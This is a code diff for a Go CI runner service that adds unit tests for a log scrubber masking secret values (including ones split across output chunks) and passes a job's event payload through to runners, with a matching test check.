internal/runner/scrub/scrub_test.goadded
@@ -0,0 +1,38 @@
1
+// SPDX-License-Identifier: AGPL-3.0-or-later
2
+
3
+package scrub
4
+
5
+import "testing"
6
+
7
+func TestScrubber_MasksPlainAndMultilineSecrets(t *testing.T) {
8
+	t.Parallel()
9
+	s := New([]string{"hunter2", "line1\nline2"})
10
+	got := string(s.Scrub([]byte("token=hunter2\nkey=line1\nline2\n"))) + string(s.Flush())
11
+	want := "token=***\nkey=***\n"
12
+	if got != want {
13
+		t.Fatalf("scrubbed:\ngot  %q\nwant %q", got, want)
14
+	}
15
+}
16
+
17
+func TestScrubber_MasksAcrossChunkBoundary(t *testing.T) {
18
+	t.Parallel()
19
+	s := New([]string{"hunter2"})
20
+	got := string(s.Scrub([]byte("before hun")))
21
+	got += string(s.Scrub([]byte("ter2 after")))
22
+	got += string(s.Flush())
23
+	want := "before *** after"
24
+	if got != want {
25
+		t.Fatalf("scrubbed:\ngot  %q\nwant %q", got, want)
26
+	}
27
+}
28
+
29
+func TestScrubber_NoSecretsIsCopyingNoop(t *testing.T) {
30
+	t.Parallel()
31
+	s := New(nil)
32
+	in := []byte("hello")
33
+	got := s.Scrub(in)
34
+	in[0] = 'x'
35
+	if string(got) != "hello" {
36
+		t.Fatalf("scrubbed: %q", got)
37
+	}
38
+}
internal/web/handlers/api/runners.gomodified
@@ -893,6 +893,7 @@ type runnerJobPayload struct {
893893
 	HeadSHA        string          `json:"head_sha"`
894894
 	HeadRef        string          `json:"head_ref"`
895895
 	Event          string          `json:"event"`
896
+	EventPayload   json.RawMessage `json:"event_payload"`
896897
 	JobKey         string          `json:"job_key"`
897898
 	JobName        string          `json:"job_name"`
898899
 	RunsOn         string          `json:"runs_on"`
@@ -953,6 +954,7 @@ func presentRunnerClaim(
953954
 			HeadSHA:        job.HeadSha,
954955
 			HeadRef:        job.HeadRef,
955956
 			Event:          string(job.Event),
957
+			EventPayload:   rawJSONOrObject(job.EventPayload),
956958
 			JobKey:         job.JobKey,
957959
 			JobName:        job.JobName,
958960
 			RunsOn:         job.RunsOn,
internal/web/handlers/api/runners_test.gomodified
@@ -61,10 +61,11 @@ func TestRunnerHeartbeatClaimsQueuedJob(t *testing.T) {
6161
 	var resp struct {
6262
 		Token string `json:"token"`
6363
 		Job   struct {
64
-			ID     int64 `json:"id"`
65
-			RunID  int64 `json:"run_id"`
66
-			RepoID int64 `json:"repo_id"`
67
-			Steps  []struct {
64
+			ID           int64          `json:"id"`
65
+			RunID        int64          `json:"run_id"`
66
+			RepoID       int64          `json:"repo_id"`
67
+			EventPayload map[string]any `json:"event_payload"`
68
+			Steps        []struct {
6869
 				Run  string `json:"run"`
6970
 				Uses string `json:"uses"`
7071
 			} `json:"steps"`
@@ -79,6 +80,9 @@ func TestRunnerHeartbeatClaimsQueuedJob(t *testing.T) {
7980
 	if resp.Job.RunID != runID || resp.Job.RepoID != repoID || len(resp.Job.Steps) != 2 {
8081
 		t.Fatalf("unexpected job payload: %+v", resp.Job)
8182
 	}
83
+	if resp.Job.EventPayload["ref"] != "refs/heads/trunk" {
84
+		t.Fatalf("event payload not returned to runner: %#v", resp.Job.EventPayload)
85
+	}
8286
 	claims, err := signer.Verify(resp.Token)
8387
 	if err != nil {
8488
 		t.Fatalf("verify runner JWT: %v", err)